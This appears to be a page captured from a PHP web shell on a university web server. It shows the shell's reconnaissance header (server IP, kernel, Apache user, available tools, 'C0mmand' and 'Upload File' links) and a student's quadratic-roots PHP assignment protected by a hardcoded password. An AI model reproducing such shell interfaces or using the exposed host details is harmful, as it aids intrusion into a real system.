Server IP : 172.16.15.8 / Your IP : 3.145.18.135 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/jahight/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<?php session_start(); $pass = $_SESSION['psw']; if($pass != "hw22") print "Wrong Password GO AWAY!"; else { ?> <!-- Assignment2_2A.php --> <font color=blue> <center> <?php $a = $_POST['aVar']; $b = $_POST['bVar']; $c = $_POST['cVar']; // debugging // print "a = $a, b = $b, c = $c<P>"; $d = $b * $b - 4.0 * $a * $c; $x = (-$b+sqrt($d)) / (2.0 * $a); $y = (-$b-sqrt($d)) / (2.0 * $a); if($d < 0) { print "NO ROOTS!"; } elseif($d == 0) { $x = number_format($x, 1); print "Root: x = $x"; } else { $x = number_format($x, 1); $y = number_format($y, 1); print "The Roots: x = $x, y = $y"; } ?> </center> </font> <?php } ?>